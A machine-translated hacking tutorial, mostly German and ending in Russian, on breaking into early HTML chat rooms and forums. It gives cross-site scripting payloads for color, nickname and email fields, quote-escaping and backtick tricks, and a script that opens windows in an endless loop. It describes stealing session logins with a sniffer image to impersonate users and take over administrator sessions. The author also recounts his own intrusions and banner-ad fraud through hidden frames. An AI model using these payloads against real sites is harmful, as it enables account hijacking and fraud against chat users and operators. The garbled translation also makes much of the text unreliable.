This page has been robot translated, sorry for typos if any. Original content here.

Hacking Chat



  • Teil 1
  • Teil 2


  • Variationen zum Thema

    Im vorigen Kapitel sahen wir den Fall an, in dem die Farbe in den Text der Seite eingefügt wurde, ohne die Zitate zu beschränken. Und was soll ich tun, wenn es Zitate gibt? Zum Beispiel ist der Text im Chat wie folgt:
    Traveller - Alpha, hallo))
    Alpha - Hallo an alle! !!

    Wie Sie sehen können, wird die Farbe in die umliegenden Anführungszeichen eingefügt. Dieses Problem ist leicht zu lösen, wenn der Chat das Symbol nicht herausfiltert. Wenn dies der Fall ist, dann können wir einfach das offene Anführungszeichen schließen und dann unser Skript schreiben. Wenn Sie beispielsweise den Farbwert als rot 'size = 20' <FONT color = # 00ff00> setzen, erhalten wir den Effekt mit einer größeren Schrift. Lasst uns auf den Raum und den Apostroph am Ende achten. Sie sind notwendig, so dass das Schlusszitat, das der Chat selbst einfügt, unsere Attribute nicht zerstört. Als Ergebnis wird unsere Nachricht wie folgt aussehen:

    Shram - Hallo

    Wenn der Chat das Zitatzeichen nicht überspringt, das den Wert des Parameters umgibt, dann ist es nicht möglich, den Chat durch diesen Parameter zu hacken :( (Obwohl einige Dinge hier möglich sind: siehe das Ende dieses Kapitels.

    Diese Methode (fast immer) arbeitet für eine gegebene E-Mail-Adresse (in Chatlanin-Parametern oder im Rücksendeadressfeld in Foren und Gästebüchern). Typischerweise geht ein Link zu Seife in die Foren wie folgt:

    <b>&lt;a href=mailto:mylo@myla.net&gt; Fedya Pupkin &lt;/a&gt;</b> (Das Fragment mailto: das Gateway selbst fügt ein). Dann setzen Sie "style = background-image: url (javascript: alert ('Ну_нету_у_меняmlяml!))" Als Seife, senden wir eine Warnung an jeden Besucher des Forums :) ) (Beachten Sie, dass die Adresse der Seife in der Regel filtert die Eingabezeichen nicht installiert sind). True, einige Foren und Chats scheinen die Seife zu überprüfen, aber diese Kontrolle wird auf die Anforderung der Anwesenheit des @ Symbols reduziert. Wenn das so ist, dann werden wir den Schöpfern des Forums gefallen und ein Hündchen in folgender Weise zeichnen : mylo@myla.net "style = background-image: url (javascript: alert (" Ну_нету_у_меняmlяml! ")) .

    In einigen Chats können Sie Ihre eigenen Bilder einfügen, indem Sie die Adresse des Bildes einstellen. Wie wir bereits wissen, wo gibt es eine URL, können Sie ein Skript dort einfügen. Ich werde es nicht einmal kauen. Alles ist so klar.

    Das erste Kapitel zeigte, wie man die Eingabeform des Chats ändert. Insbesondere war es notwendig, die relative Adresse der Feldaktion auf absolut zu ändern. Allerdings kann die Chat-Struktur so komplex sein, dass es eine Menge solcher Ersatz machen kann. Um in allen Fällen der Adresse zu ändern, ist unpraktisch (und es ist möglich, sich zu irren). Stattdessen können Sie das <base href = ' Tag empfehlen : http: //typachat.ru/'^gt; , Die irgendwo in das HTML-Dokument eingefügt wird. In diesem Fall werden alle relativen Adressen relativ zu der Adresse, die in dem Basis- Tag (in diesem Fall relativ zu typachat.ru ) angegeben ist, unabhängig von dem realen Basis-DNS-Namen adressiert .

    Sie wissen wahrscheinlich, welche Schnüffler sind? Wenn nicht, dann sage ich dir den Schnüffler - eine sehr nützliche Sache, die dir erlaubt, den Verkehr zu verfolgen. Im Chat kann der Sniffer die IP-Adressen des Chatrooms sowie deren temporäre Namen und Codes (für Chatrooms mit temporären Namen) ermitteln. Manchmal erlaubt es Ihnen sogar, Administratorrechte zu bekommen :) ).

    Es passiert oft, dass der Spitzname im Text des Chats als Link fungiert, wenn du darauf klickst, kannst du eine private Nachricht an den Chatraum senden. Hier ist, wie es in HTML aussieht:

    Alpha - Hallo!

    Moderator - Hallo!

    Zusätzlich zum Effekt, der im Kapitel "Wunder mit dem Symbol =" beschrieben ist, ist es möglich, ein Skript einzufügen, das ein Klickereignis durch Verweis auslöst (wenn der Chat die Anführungszeichen - in diesem Fall " - und das Symbol + ) nicht herausfiltert, Der folgende Wert: "+ alert ('Hello!') +" Sie können etwas ernster einfügen (nur die toString () - Funktion verwenden.) Zum Beispiel ein solcher Spitzname "+ toString (open ('// yahoo.com', '_ top ')) + " Sendet den Benutzer, der auf deinen Spitznamen geschoben hat, aus dem Chat in Yahoo entspannen :) ).

    Hacking M Chat

    Wie im ersten Kapitel erwähnt, gibt es zwei Methoden zum Hacken von Chats. Alle obigen Beispiele beziehen sich auf die erste Methode - die Methode der Durchdringung in die Parameter des Tags. Hier möchte ich die Technologie der zweiten Methode zeigen - die Methode, die Struktur von HTML zu brechen.

    Die Farbe der Nachrichten im M-Chat wurde in numerischer Form gesetzt (und hatte daher eine Grenze für die Länge der Farbe - 7 Zeichen), hatte ausgefallene Filter, aber verpasste ein einzelnes Zeichen ' . Hier ist ein Ausschnitt von Nachrichten im Chat:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt;&lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Wie Sie sehen können, wurde die Farbe ohne Framing der Anführungszeichen angegeben. Die Technologie des Hackens ist einfach: Wir melden uns unter einem beliebigen Spitznamen und Farbe an . Dann geben wir nach dem Eintritt in den Chat eine Nachricht wie 'style = background-image: url (javascript: alert (' Hello_people !! ')) . Achten Sie auf die Lücke am Ende - es ist zwingend erforderlich. Unsere Botschaft sieht so aus:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt;&lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Es stellt sich heraus, dass ein Teil des HTML-Codes - class = "ku"> - innerhalb einzelner Anführungszeichen war und vom Browser als String-Wert der Farbe behandelt wird. Die Schliesswinkelklammer des Tags fällt auch in diese Linie, also ist unsere Nachricht innerhalb des Tags! Der Code, der direkt nach unserer Nachricht geht Wird vom Browser nicht verstanden und ignoriert (und dieser Teil sollte durch ein Leerzeichen aus unserem Style-Parameter getrennt sein, sonst wird der Parameter als Ganzes als fehlerhaft betrachtet), aber die folgende Eckklammer gilt als das schließende Font- Tag. Alles ist sehr einfach.

    Ein bisschen über den umgekehrten Schatz

    In JavaScript-String-Strings gibt es ein spezielles Steuerzeichen. Das ist ein Backslash-Charakter. Eines seiner Zwecke ist wie folgt: Das Anführungszeichen dahinter wird als ein Symbol, nicht als Zeilenabschluss bezeichnet. Zum Beispiel:

    &lt;Script&gt; Alert ('It \' s ') &lt;/ script&gt; - erzeugt keine Fehlermeldung, da der Apostroph in Kombination mit \ in der Mitte der Zeile nicht als Ende der Zeile gilt. Während &lt;Script&gt; Alert ('It's') &lt;/ script&gt; Erstellt eine Fehlermeldung.

    Da das Zeichen \ selbst ein Manager ist (und daher nicht direkt auf der Zeile erscheint), dann ist eine Kombination von \\ existiert, um sich selbst anzuzeigen. Eine solche Kombination wird als nur eine \ .

    Was hat das alles mit Hacken? Und hier ist was: einige Chat-Räume setzen keinen Filter auf Anführungszeichen " (oder " ) im Nickfeld, sondern ersetzen sie durch Kombinationen vom Typ " (oder " ) und glauben, dass in diesem Fall die Anführungszeichen angezeigt werden, aber nicht als Begrenzer fungieren können, Und deshalb kann die Struktur von HTML nicht zerstört werden. In diesem Fall übersehen kurzsichtige Entwickler die Tatsache, dass der Benutzer das \ Symbol verwenden kann, um seinen Charakter zu sperren. Zum Beispiel sieht ein Chat-Fragment für eine User-Nachricht mit dem Spitznamen Sh "ram so aus:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    In diesem Fall verstößt das Anführungszeichen in Nickel nicht auf die Struktur des Tags. Aber wenn wir den Spitznamen zu Al \ "gol ändern, dann wird das Einfügen des Schrägstrichs vor dem Anführungszeichen das folgende HTML erstellen:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> Dabei schlägt unser Schrägstrich den Schrägstrich des Chats, und der Spitzname des Zitats zerstört die HTML-Struktur! Dies ist zu sehen, wenn man auf den Link im Beispiel klickt.

    Dieser Effekt kann verwendet werden, um Chats durch die Zerstörung der HTML-Struktur zu brechen. Lassen Sie uns darauf achten, dass es in manchen Fällen möglich ist, limitierende Anführungszeichen nach der gleichen Methode zu blockieren, nachdem Sie den Schrägstrich am Ende eines Nicks eingefügt haben.

    Vor kurzem bemerkte ich ein weiteres Loch mit dem Missbrauch des Symbols \ chat Programmierer verbunden. Lassen Sie z. B. den Spitznamen des Benutzers in den Chatkörper in das Formular einfügen

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> Wenn wir das Profil zu Al'gol ändern , wird der Chat einen solchen Spitznamen akzeptieren, aber er ersetzt ihn mit Al \ 'gol , naiv glaubt man, dass man durch das Einfügen eines Backslash das Tag vor der Zerstörung schützt. Eigentlich ist es nicht so :) . Wenn du einen solchen Spitznamen in den Körper des Chats einfügst, sieht es so aus:
    &lt;a href=javascript:msgto(&amp;quot;Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    In diesem Fall zeigt der Explorer eine Fehlermeldung an, wenn er versucht, auf den Spitznamen zu stoßen. Der Grund dafür ist: Das \ Zeichen macht nur Sinn in der String-Konstante des JavaScript, aber nicht HTML! Das HTML-Zeichen selbst versteht es nicht und betrachtet daher den ersten Apostroph, der das Ende des href- Attributs gefunden hat, trotz der Tatsache, dass es vorangegangen ist. So wird z. B. ein solcher Spitzname Algol '= die Struktur des Tags zerstören, trotz der Tatsache, dass vor dem Apostroph ein Backslash eingefügt wird

    Hacking auf der Ebene von http

    Wie bereits erwähnt, kann der Chat-Server das Referenzfeld der HTTP-Anforderung verfolgen und den Chat nicht starten, wenn sich dieses Feld von dem gewünschten unterscheidet. Um diese Hürde zu umgehen, musst du den HTTP-Request-Header, der vom Chat an den Server gesendet wird (mit speziellen Programmen, zB Naviscope), zu schreiben und ein spezielles Programm zu schreiben, das Anfragen an den Server sendet. In diesem Fall kann der Inhalt der Anfragen (z. B. der Wert des Farbfeldes) beliebig gesetzt werden.

    Ich werde hier nicht im Detail bleiben. Das geht über das Hacken von HTML hinaus.

    Ich merke nur, dass auf der HTTP-Ebene können Sie mehr tricky Dinge als mit herkömmlichen HTML oder JavaScript zu tun. In jedem Fall empfehle ich die Betrachtung der Header von HTTP-Anfragen beim Chatten. Sie werden Ihnen helfen, die Arbeit des Chats besser zu verstehen.

    Wunder mit dem Symbol =

    Was denkst du wird im Browser für eine solche HTML-Zeile angezeigt:

    &lt;Schriftart onclick = alert ('=')&gt; Text &lt;/ font&gt; ? Ich wette, Sie werden nicht erraten (es sei denn, Sie sicherlich nicht in Microsoft arbeiten und nicht entwickeln MSIE). Das Ergebnis ist so spezifisch, dass ich nicht ein Beispiel machen könnte, das es zeigen würde . Aber man kann es mit einem Wort annehmen, dass im Browserfenster folgendes angezeigt wird: &lt;Fontonclick = Alert ('=')&gt; Text Wie Sie sehen können, wird das Eröffnungs-Tag in diesem Fall einfach nicht vom Browser als Tag wahrgenommen, obwohl es keine Syntaxfehler gibt :) ). Und was wird passieren, wenn wir schreiben Text

    Merkwürdigerweise wird in diesem Fall alles in Ordnung sein, obwohl es einen Syntaxfehler gibt. Und wenn wir auf den Text klicken, erscheint eine Warnung. Versuchen Sie, den dritten Apostroph für die Winkelklammer zu bewegen, oder für den Text:

    &lt;Schriftart onclick = alert ('=')&gt; Text '&lt;/ font&gt; Sie erhalten auch ein unerwartetes Ergebnis.

    Leider habe ich keinen Quellcode oder ausführliche Dokumentation für MSIE, aber ich denke, dass in diesem Fall gibt es einen offensichtlichen Fehler in MSIE. Wahrscheinlich analysiert der Browser den Code in zwei Stufen. Im ersten Schritt wählt es Tags, ihre Attribute und Text, die zwischen ihnen ist, und auf der zweiten analysiert er den JavaScript-Inhalt der Tag-Parameter (es handelt sich nur um jene Attribute, die einen Skriptwert zulassen, zB href oder onclick ). Bei der anfänglichen Analyse betrachtet der Browser für den unverständlichen Grund eine Kombination = den Anfang einer Zeile, trotz der Tatsache, dass das Symbol = schon innerhalb einer Linie ist! Dann nimm = ' für den Anfang der Zeile, das Programm sucht das Ende (während völlig vergessen, dass eine weitere Zeile offen ist und nicht geschlossen). Also alles, was folgt = ' (oder = " ) und bis das nächste Zeichen ' ignoriert und als String gezählt wird! 'Also, im ersten Beispiel hat der Browser das Tag nicht wahrgenommen: es fand nicht die Schließwinkelklammer, weil es (wie es war) in der Zeile war. Noch überraschender ist, dass bei der zweiten Stufe der Analyse der Parameter des Tags der Browser alles korrekt sieht (man kann dies durch Anklicken des Textetiketts im zweiten Beispiel überprüfen) und nimmt den String bei Bedarf wahr und findet bei Bedarf auch die Schließwinkelklammer. zu diesem Fragment eines dritten Text zweites Beispiel ist in Klartext nicht angezeigt (weil, da es nicht der Körper des Tages ist), ist aber nicht paramatrom-Tag (wie in der Phase der Analyseparameter für die Compiler es einfach nicht kommen)! Flamme Hallo Bill!

    Mit diesem Browser-Fehler konnte ich auf einige der Chat-Code zu kommentieren, einfach einfach mit einem Spitznamen angemeldet = :) ). Hier ist das Code-Snippet, das die Liste der im Chat vorhandenen angezeigt hat:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    In diesem Fall wurde mein Spitzname in der Liste einfach nicht angezeigt, da das Fragment zwischen den Anführungszeichen

    )&gt; = &lt;/a&gt; a href = javascript: parent.window.messageFor ( War außerhalb des Körpers der Tags: -}. Aber wenn man auf den Moderator klickt, wurde die Funktion parent.window.messageFor mit dem Parameter = aufgerufen. Ähnliche "Effekte" waren im Display meiner Nachrichten im Chat.

    Bemerkenswert (oder traurig - auf der Suche nach jemandem), dass diese Störung fast überall verkehrt, wo man sogar den Faden betreten kann (zumindest für MSIE 5.50.4134.0600), und dafür musst du gar nichts in der Form ändern. Die schlechte Sache ist, dass es schwierig ist, erheblichen Nutzen davon zu erzielen (zB ein Skript zu starten).

    Abschließend stellen wir fest, dass das Symbol > eine ähnliche Wirkung hat, die als das Ende des Tags wahrgenommen wird, trotz der Tatsache, dass es innerhalb der Linie ist. Fragment

    &lt;Schriftart onclick = alert ('&gt;')&gt; Text &lt;/ font&gt; Wird vom Browser als fehlerhaft interpretiert, und es gibt einen Fluch auf die Tatsache, dass die Saitenkonstante nicht geschlossen ist.

    Zwei Hacken T chat

    Chat T hat die folgenden Zeichen im Farbfeld übersprungen:

    " " = ;

    Wenn du eine Farbe in den Chat einfügst, waren die umliegenden Zitate nicht. Fragment von Meldungen im Chat (übrigens der Autor des Chats scheinbar hält es nicht für notwendig, die Tags zu schließen)), obwohl wir hoffen, dass dies zur Verbesserung der Leistung getan wird):

    <code>&lt;FONT COLOR=008000&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt;- &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    Es war peinlich, dass die Lücke nicht durch den Filter verpasst wurde. Doch nach einigen Gedanken fand ich die nächste Lösung - ich nahm die Farbe selbst in einfache Anführungszeichen, und nach Farbe ohne Leerzeichen habe ich den Style-Parameter eingefügt: 'red'style = background-image: url (javascript: while (1 == 1) open ( )) . Wie im zweiten Kapitel erwähnt, ist der Trennraum in diesem Fall nicht notwendig :) ).

    Übrigens war dieser Chatraum voll von Rahmen, darunter versteckte und leere - sie dachten vermutlich für zukünftige Erweiterungen. Aber während Admins über Erweiterungen nachdachten, fand ich sie nützlicher. Ich hing in diesem Chat lange genug - ein paar Monate. Und ich hing nicht nur das: in einem der versteckten Rahmen habe ich meine Seite geschoben. Und auf den Bannern war Banner Banner Netzwerk. Also habe ich mich über Hunderte von Tausenden von Banner-Anzeigen geschraubt, und meine Seite sprang auf den 5-6. Platz in der Bewertung der Hits Rambler Top 100 (in meiner Gruppe). Leider hat das Banner-Netzwerk die Haltung der Hits / Hosts verglichen und erkannt, dass es von der Nase angetrieben wird. Es stellte sich heraus, dass der gleiche Besucher alle 50 Mal am Tag auf meine Seite kommt. Mein Konto wurde gesperrt. Also wohl noch da und hängt unbeaufsichtigt :) ).

    Aber zurück zu unseren Schafen. Nach einiger Zeit, die Verwaltung des Chats ersetzt die cgi-shku. Ich weiß nicht, was "Verbesserungen" in der zweiten Auflage gemacht wurden, aber ich habe gerade eine Änderung bemerkt: Jetzt war die Länge der Farbstring begrenzt und war etwa 10 Zeichen (übrigens eine solche Einschränkung in vielen Chatrooms, obwohl ich nicht verstehe, was die Bedeutung von ihnen ist Ist es nicht einfacher, Filter auf Eingabezeichen zu setzen? Obwohl es auf diese Weise möglich ist, sind sie vor Pufferüberlauf geschützt?). In dieser Situation hat natürlich die alte Methode nicht mehr gearbeitet. Um in 10 Zeichen ein anständiges Skript zu quetschen ist es unmöglich (hier auch Stil selbst passt nicht). Ich erkannte, dass man nur durch den Spitznamen oder die zweite Methode durchbrechen kann - die Zerstörung der HTML-Struktur. Ich habe das seit einigen Stunden auf diese Weise versucht. Neben der billigen Wirkung des Verschwindens des Spitznamens (Kapitel "Wunder mit dem Symbol =") ist nichts passiert. Der Bruch der Struktur hat aus folgendem Grund nichts gegeben: das Symbol anstelle einer Farbe eingefügt, ich öffnete die Linie, aber es war mit einem Apostroph geschlossen, der in Bezug auf die Zeit war (hier war der Chat gerade Glück - es war nicht als Schutzmaßnahme gedacht, obwohl viele Chaträume speziell für diese fiktive eingefügt wurden Tags von Typ <! '' '> ):

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    Das ist, nur das Fragment <a href = javascript: parent.window.Mtm ( und alles, was ich erreicht habe, ist die Entfernung der Zeitreferenz Tag.) Wenn es möglich wäre, doppelte Anführungszeichen anstelle von doppelten Anführungszeichen einzufügen, dann würde es kein Problem geben, denn im Chat Doppelte Anführungszeichen wurden nicht verwendet, aber das Symbol "wurde nicht durch den Filter gefiltert. " Der Eintrag unter dem Spitznamen Algol = gab auch nichts, weil die Zeichen nach 'Algol =')> ignoriert wurden und nicht als Tag-Parameter betrachtet wurden. Theme ", aber diese Skripte funktionierten nur, wenn du auf meinen Link klickst und :( (Ich war schon bereit zuzugeben, dass der ganze Chat nicht gehackt werden kann.) Und dann in der letzten Minute, graben und experimentieren in den Tiefen von HTML, fand ich, dass das Symbol des umgekehrten Apostrophs auch das Trennzeichen von Strings in HTML ist !!! Und dieser Charakter wurde von einem Filter übersprungen! Ich meldete mich mit dem Spitznamen Algol und mit der Farbe ` .Und dann, als Nachricht an den Chat, schickte ich diese Zeile: ` style = background-image: url (javascript: alert ('Winning_beauty_!') . ) Meine Nachricht im Chatraum sah so aus:

    <code>&lt;FONT COLOR="`"&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt;`style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    In diesem Fall ist das Fragment <a href=javascript:parent.window.Mtm('22:18:18')> 22:18:18 </a> - <a href = javascript: parent.window.mfor ('Algol') > Algol </a> wurde komplett kommentiert und wurde als eine Farbe betrachtet, und der Stilparameter war innerhalb des Tags! Das Drehbuch funktionierte :) ).

    Also müssen die Programmierer des Chats T eine neue Version ihrer Idee entwickeln. Es bleibt erstaunt, wie viele Schlupflöcher sie verlassen und wie langsam sie korrigiert werden. Sie sagen das Ganze in der Psychologie: Die Entwickler der Verteidigungssysteme können sich nicht an die Stelle eines Einbrechers stellen, aber sie beurteilen das System von ihrer Seite, anstatt sie von außen zu betrachten.

    "Abfangen", "Fälschung" und Erlangung von Rechten.

    Betrachten Sie Methoden für die Erfassung von anderen Personen Nachrichten (private Nachrichten) und Senden von Nachrichten im Namen anderer Chatovites. Es gibt verschiedene Methoden der Abhörung, die für verschiedene Arten von Chats entworfen sind. Wenn der Chat völlig gehackt ist, dann ist die Operation der "Fälschung" (dh das Einfügen von Repliken im Namen anderer Chatovians) nicht schwierig: Sie müssen nur ein Skript an privat senden, das einen Text in die Zeile der Replik schreiben wird, und drücken Sie dann die Schaltfläche "Senden". Anologisch ist es möglich, herauszuziehen und der Benutzer. Allerdings sind solche Methoden zu grob, primitiv und schwer zu beantragen. Weiter fortgeschrittene Methoden der Abhörung, in denen der Chat selbst nimmt Sie für einen anderen Benutzer.

    Beim Erstellen von HTML-Chats ist das Hauptproblem, dass das HTTP-Protokoll grundsätzlich keine permanenten Verbindungen unterstützt. Dies bedeutet, dass jedes Mal, wenn Sie Nachrichten empfangen oder eine Replik senden möchten, das Chat-Programm Sie "kennen", verstehen Sie, dass Sie Sie sind. Wenn sie die Benutzer nicht erkannte, würde sie nicht in der Lage sein, Ihnen Ihre Privaten zu schicken und konnte nicht Ihre Nachrichten in Ihrem Namen schreiben. Um die Teilnehmer zu identifizieren, verwenden Chats verschiedene Methoden. Die am häufigsten verwendete Methode ist IP-Adressen und die Methode der dynamischen Namen. Die erste Methode basiert auf der Tatsache, dass derselbe Benutzer während der Kommunikationssitzung dieselbe IP-Adresse hat. Ich werde nicht auf diese Methode im Detail wohnen, ich werde nur sagen, dass diese Methode Nachteile hat. Insbesondere kann es nicht funktionieren, wenn der Benutzer einen Proxy-Server verwendet oder wenn er mehrere Chat-Fenster geöffnet hat. In letzter Zeit wurde oft eine andere Methode, die Methode der dynamischen Namen, verwendet. Das Wesen der Methode ist, dass, wenn der Benutzer sich in den Chat anmeldet, ihm automatisch eine temporäre eindeutige Anmeldung zugewiesen wird. Diese Anmeldung registriert sich automatisch auf der Seite, die das Gateway an den Benutzer sendet. Jedes Mal, wenn ein Benutzer ein Replikatformular sendet oder Nachrichten aus einem Chat anfordert, sendet seine Seite eine temporäre Anmeldung an den Server, über die der Server den Benutzer tatsächlich identifiziert. Das temporäre Login-System generiert zufällig, und zwei verschiedene Benutzer können nicht das gleiche Login haben. Die Anmeldung kann aus mehreren Teilen bestehen. Am häufigsten ist dies die Sequenznummer des Benutzers in der Sitzung und zufällig ein Passwort generiert. Da die Login-ID auf die Chat-Seite jedes Benutzers "genäht" ist, weiß das System genau, welcher Benutzer es kommuniziert, unabhängig von seiner IP-Adresse, Proxy-Servern, der Anzahl der offenen Chat-Fenster usw.

    Es ist klar, dass, wenn wir das Login des Nutzers wussten, wir keine Schwierigkeiten hätten, unter dem Benutzer "klopfen" zu haben, einfach nur die Anmeldung auf deiner Seite, bei seinem Login. Dann würde das System uns dazu bringen ... Es stellt sich heraus, dass dies leicht gemacht werden kann, wenn der Chat gehackt wird, und wir haben die Möglichkeit, Ihr Bild in den Chat einzufügen. Dann, wenn du den Schnüffler als Bild nimmst (siehe Kapitel "Variationen zum Thema"), dann können wir die temporären Logins aller Chat-Teilnehmer bekommen! Und wenn wir uns für jemandes spezifisches Login interessieren, dann müssen wir ihm einen Sniffer schicken. Ich stelle folgendes fest: Die abgefangene Anmeldung ist nur solange gültig, wie der Benutzer im Chat ist, wenn es sich wieder anmeldet und wieder ausführt, dann wird es bereits eine neue temporäre Anmeldung haben.

    Es ist klar, dass, wenn wir die vorübergehende Anmeldung des Administrators abfangen, dann seine Rechte auch automatisch an ihn übergeben werden - zum Beispiel die Möglichkeit, Tags direkt in Nachrichten einzufügen (dh das Fehlen eines Filters für Symbole < und > ) oder die Möglichkeit, aus dem Chat zu löschen oder Informationen über den Benutzer zu erhalten usw.

    Der dritte Hacker T Chat

    Also zurück zu dem langlebigen Chatraum T. Vor kurzem ist der Chatraum T komplett in einen neuen Kern gezogen. Jetzt haben sich die Spielregeln geändert. Zuerst ließ das Farbfeld in fast alles (bis hin zu den < und > Zeichen), und es machte es mir nicht schwer, es zu hacken. Aber bald war dieses Loch geschlossen (nicht ohne meine Teilnahme). In der neuen Version des Chats bestand die Farbe nur Zahlen und Buchstaben. Das Hacken durch die Farbe wurde unmöglich. Dies machte mich auf der Suche nach anspruchsvolleren Methoden. In der Tat, das einzige, was blieb, war der Spitzname. In meiner Erfahrung wusste ich, dass es ziemlich schwierig war, einen Chat durch einen Spitznamen zu brechen, da Entwickler sorgfältig Filter für einen Spitznamen auswählen. Doch im Chat war der "Chip" übertrieben über die Tatsache, dass "der für den Spitznamen gesetzte Zeichen wesentlich erweitert wurde". Es war wie eine Art Werbung. Ein wenig fummeln mit Filtern auf dem Spitznamen, fand ich heraus, dass die folgenden Zeichen übersprungen werden:

    " " = ; \

    Das Symbol "wurde übersprungen, aber bevor der Chat automatisch das Symbol eingefügt hat. Die mit einer solchen Kombination verbundenen Mechanismen sind im" Ein bisschen über den Backslash-Charakter "beschrieben. Die in diesem Kapitel beschriebenen Effekte gaben jedoch nicht das gewünschte Ergebnis und waren ungünstig zu bedienen. Ich habe es gefunden!

    Schauen wir uns ein Fragment von Nachrichten im Chat an:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    Wie Sie sehen können, wurde der Spitzname als Link gegeben, als Sie auf eine gewählte Funktion geklickt haben. Der href- Referenzhandler wurde in einfache Anführungszeichen eingeschlossen, und der Spitzname selbst wurde in doppelte Anführungszeichen eingeschlossen. Da das doppelte Zitat nicht wirklich durch den Chat im Spitznamen übersprungen wurde, war es unmöglich, über das Argument der Funktion hinauszugehen. Spitzname = ` hat nicht funktioniert, weil der Handler in einzelne Apostrophe eingeschlossen war, und wie es im Kapitel" Wunder mit dem Symbol = "gezeigt wurde, hat der Effekt mit dem Zeichen = nicht funktioniert. И тут я перечитал собственную статью, и обнаружил следующее: если обработчик заключен в кавычки, то первая же закрывающая кавычка считается концом обработчика, даже несмотря на то, что сама она находится внутри других кавычек (и идет как строковая константа). Dh. например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. So обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>

    Фрагмент

    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) ).

    Еще несколько взломов многострадального чата T

